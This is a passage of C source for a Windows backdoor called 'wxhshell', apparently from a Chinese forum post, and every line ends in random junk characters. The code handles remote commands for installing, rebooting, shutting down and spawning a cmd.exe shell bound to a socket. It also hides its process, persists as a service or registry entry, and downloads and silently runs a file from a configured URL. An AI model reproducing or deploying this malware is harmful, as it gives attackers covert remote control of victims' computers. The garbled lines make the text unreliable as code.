    switch(cmd[0]) { J$uM 03  
  ~HLRfL?  
  // 帮助 5$l9@0D.\  
  case '?': { #,f{Ok+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); XL< )v_  
    break; H;_yRUY9  
  } -@%%*YI>  
  // 安装 @ "d2.h  
  case 'i': { `LP!D  
    if(Install()) -$Y8!54  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^,s?e.u$8`  
    else g%J./F=@3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sn\;bq  
    break; gqiXmMm:9  
    } _pDjg%A>n  
  // 卸载 =(U/CI  
  case 'r': { K\=8eg93Z  
    if(Uninstall()) "|LQK0q3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q49BU@xX  
    else }*;EFR6'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (*^DN{5  
    break; a4GWuozl  
    } dBEIMn@  
  // 显示 wxhshell 所在路径 MB$a82bY  
  case 'p': { a#(U2OP  
    char svExeFile[MAX_PATH]; vgPUIxB@  
    strcpy(svExeFile,"\n\r"); D(Ix!G/  
      strcat(svExeFile,ExeFile); !c8L[/L  
        send(wsh,svExeFile,strlen(svExeFile),0); /J%do]PDl  
    break; 2YQ#-M  
    } &{^eU5  
  // 重启 VZxTx0: ,  
  case 'b': { ~^o=a?L`<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _,; %mK  
    if(Boot(REBOOT)) o\4t4}z~'f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _'iDF  
    else { HFh /$VM  
    closesocket(wsh); l)}t,!M6  
    ExitThread(0);  b;vNq  
    } /5a;_  
    break; tjzA)/T,4  
    } }OKL z.5  
  // 关机 XCPb9<L  
  case 'd': { '"O&J}s;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `"<2)yq?  
    if(Boot(SHUTDOWN)) p]f&mBO*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MQw9X  
    else { u^Sv#K X  
    closesocket(wsh);  ]6~k4  
    ExitThread(0); W7e4pR?w  
    } Y}1 P~  
    break; XL"=vbD  
    } v&0d$@6/U  
  // 获取shell >q|Q-I~gs  
  case 's': { PZ]5Hf1"  
    CmdShell(wsh); Kdt|i93  
    closesocket(wsh); _EKF-&Q6  
    ExitThread(0); <c%n?QK{  
    break; ;~ee[W$1  
  } : ^(nj7D  
  // 退出 *FPg#a+  
  case 'x': { I)[B9rbe  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |HgfV@Han  
    CloseIt(wsh); oS!/|#m n  
    break; S:97B\ u`  
    } D0%FELG05  
  // 离开 0VG=?dq  
  case 'q': { )1z4q`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O)<r>vqe}  
    closesocket(wsh); 9".Uc8^p/F  
    WSACleanup(); pI^=B-7  
    exit(1); nZW4}~0j  
    break; >\\5"S f  
        } Vu|dV\N0*  
  } 7+8bL{  
  } XARSGAuw  
a-Y6w5  
  // 提示信息 vahf]2jEB  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W:B}u\)C  
} `i4I!E  
  } !u0U5>ccw  
.CmL7 5  
  return; ?'LM7RE$X6  
} jEE_D +K  
^Ezcy?  
// shell模块句柄 R<j<. h  
int CmdShell(SOCKET sock) N l|^o{#  
{ z|%Bh  
STARTUPINFO si; o}!&y?mp  
ZeroMemory(&si,sizeof(si)); e[p^p!a  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g^n;IE$B  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ORtg>az\%  
PROCESS_INFORMATION ProcessInfo; =F[lg?g  
char cmdline[]="cmd"; JJNmpUJ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5=.7\#D  
  return 0; yTj p-  
} Zih5/I  
g5<ZS3tQ  
// 自身启动模式 u;(K34!)  
int StartFromService(void) VS%@)sI|Z  
{ 0$?qoS  
typedef struct 6m\*]nOy4  
{ <[FS%2,0mb  
  DWORD ExitStatus; {6YxN&  
  DWORD PebBaseAddress; hgif]?:C<  
  DWORD AffinityMask; 5~-}}F  
  DWORD BasePriority; YiBOi?h9  
  ULONG UniqueProcessId; 9<~,n1b>x  
  ULONG InheritedFromUniqueProcessId; `x< 0A  
}   PROCESS_BASIC_INFORMATION; (V^QQ !:  
* T\>  
PROCNTQSIP NtQueryInformationProcess; kFnUJM$r  
(Z'WR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3liq9P_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a(g$ d2H  
|'@V<^GR  
  HANDLE             hProcess; K.r!?cfv  
  PROCESS_BASIC_INFORMATION pbi; X`tOO  
sFD!7 ;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s|KfC>#  
  if(NULL == hInst ) return 0; D~7%};D[  
y#nSk% "t"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w0\4Wa  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L&rO  6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); iF+S%aPd#  
M Yu?&}%^  
  if (!NtQueryInformationProcess) return 0; WY3_7k8u  
U0zW9jB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); UzN8G$92qF  
  if(!hProcess) return 0; {\F2*P  
DZF[dxH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (c 1u{  
mn Qal>0~  
  CloseHandle(hProcess); vB]3Xb3a  
vr<)Ay  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W3aXW,P.V  
if(hProcess==NULL) return 0; ./2Z?,  
]+FX$+H/A0  
HMODULE hMod; KgL<}=S  
char procName[255]; +i2YX7Of  
unsigned long cbNeeded; }q/(D?  
pEJ#ad  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); TIKEg10I  
fWqv3nY^  
  CloseHandle(hProcess); <b3x(/  
;c nnqT6  
if(strstr(procName,"services")) return 1; // 以服务启动 ,d3Q+9/  
\;'_|bu3.  
  return 0; // 注册表启动 ;}$Z 80  
} VoWA tNU  
m]Hb+Y=;h  
// 主模块 w 5!ndu  
int StartWxhshell(LPSTR lpCmdLine) KC#kss  
{ J,.j_ii`!  
  SOCKET wsl; WFQ*s4 R(  
BOOL val=TRUE; ;,()wH  
  int port=0; 5XhK#X%:A  
  struct sockaddr_in door; i#Ne'q;T  
ll 6]W~[ZC  
  if(wscfg.ws_autoins) Install(); {/th`#o4b  
(X0`1s  
port=atoi(lpCmdLine); 6yy|V~5  
BYkVg2D(  
if(port<=0) port=wscfg.ws_port; Smi%dp.  
H^]Nmd8Q)  
  WSADATA data; ce 7Yr*ZB  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  n.=e)*  
o",f(v&u%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   N`y}Gs  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "u .)X3  
  door.sin_family = AF_INET; 8Pl+yiB/o`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); w++B-_  
  door.sin_port = htons(port); pjaiAe!k  
:<'i-Ur8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A73V6"  
closesocket(wsl); GMVC&^  
return 1; h[Ndtq>3{  
} 2V#c[%vI  
d08`42Z69  
  if(listen(wsl,2) == INVALID_SOCKET) { T b5$  
closesocket(wsl); r\4*\  
return 1; OL,/-;z6  
} !C9ps]6  
  Wxhshell(wsl); $]Q*E4(kV9  
  WSACleanup(); .rt8]%  
JUe K"|fA  
return 0; CwTS/G  
0BbiQXU  
} !$%/ rQ9  
vB&F_"/X2  
// 以NT服务方式启动 > C*?17\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _"R3N  
{ J3]qg.B%z  
DWORD   status = 0; HPu/. oE  
  DWORD   specificError = 0xfffffff; krEH`f  
L:|X/c9r[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; bIvJs9L  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; uzzWZ9Tv  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yv6Zo0s<J  
  serviceStatus.dwWin32ExitCode     = 0; mq|A8>g  
  serviceStatus.dwServiceSpecificExitCode = 0; BK`Q)[  
  serviceStatus.dwCheckPoint       = 0; 0~PXa(!^K  
  serviceStatus.dwWaitHint       = 0; _mIa8K;  
Uxj<x`<1x  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %J/fg<W1  
  if (hServiceStatusHandle==0) return; "z{_hp{T^  
M~d+HE   
status = GetLastError(); a2(D!_dZR  
  if (status!=NO_ERROR) =UI,+P:  
{ }a #b$]Y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 35]j;8N:  
    serviceStatus.dwCheckPoint       = 0; 2XETQ;9  
    serviceStatus.dwWaitHint       = 0; P%<aGb4  
    serviceStatus.dwWin32ExitCode     = status; m<X#W W)N  
    serviceStatus.dwServiceSpecificExitCode = specificError; \Y>#^b?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )V9Mcr*Ce6  
    return; l`~a}y"n  
  } 4U LJtM3  
?9wFV/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ! 4qps$p{  
  serviceStatus.dwCheckPoint       = 0; fY)4]=L  
  serviceStatus.dwWaitHint       = 0; $ DABR  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); q:EzKrE  
} =:CGl   
v;N1'  
// 处理NT服务事件,比如:启动、停止 @&i#S}%/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +7U  A%q  
{ 'NG^HLD/  
switch(fdwControl) % +t  
{ m<,y-bQ*(  
case SERVICE_CONTROL_STOP: z1{E:~f  
  serviceStatus.dwWin32ExitCode = 0; a6 #{2q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; p ?Ij-uo"o  
  serviceStatus.dwCheckPoint   = 0; QXIbFv  
  serviceStatus.dwWaitHint     = 0; )DklOEO  
  { X1 0"G~0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )$lSG}WD  
  } @Le ^-v4  
  return; n!CP_  
case SERVICE_CONTROL_PAUSE: : e0R7sj  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]sm0E@1  
  break; Y7b,td1  
case SERVICE_CONTROL_CONTINUE: ;S{Ld1;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ( TbB?X}  
  break; \U<F\i  
case SERVICE_CONTROL_INTERROGATE: k Nf!j  
  break; ^t^<KL;  
}; Un8#f+odR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )LMBxyS  
} f/IRO33  
6>LQGO  
// 标准应用程序主函数 SS45<!i y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y ? {PoNI  
{ c^dl+-{Mc  
=A6u=  
// 获取操作系统版本 '^.=gTk  
OsIsNt=GetOsVer(); V5hlG =V  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >r4Y\"/j  
8Jib|#!  
  // 从命令行安装 XCqfAcNQ  
  if(strpbrk(lpCmdLine,"iI")) Install(); =xlYQ}-(a  
gR_b~ ^  
  // 下载执行文件 {%+3D,$)  
if(wscfg.ws_downexe) { DoCQFSL  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) dZ]\1""#H  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^$&"<  
} c@ZkX]g  
0=(-8vwd  
if(!OsIsNt) { i-"h"nF"  
// 如果时win9x,隐藏进程并且设置为注册表启动 gn e #v  
HideProc(); yw3U"/yw  
StartWxhshell(lpCmdLine); t UAY]BJ*s  
} (8m\#[T+R  
else w'!}(Z5X?  
  if(StartFromService()) [r~rIb%Zj  
  // 以服务方式启动  \3y=0  
  StartServiceCtrlDispatcher(DispatchTable); #`6OC)1J  
else OL mBh3&  
  // 普通方式启动 ;hfG$ {l;  
  StartWxhshell(lpCmdLine); |+4E 8;4_  
31o7R &v  
return 0; b$`4Nn|  
}
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只看该作者 1 发表于: 2006-10-10
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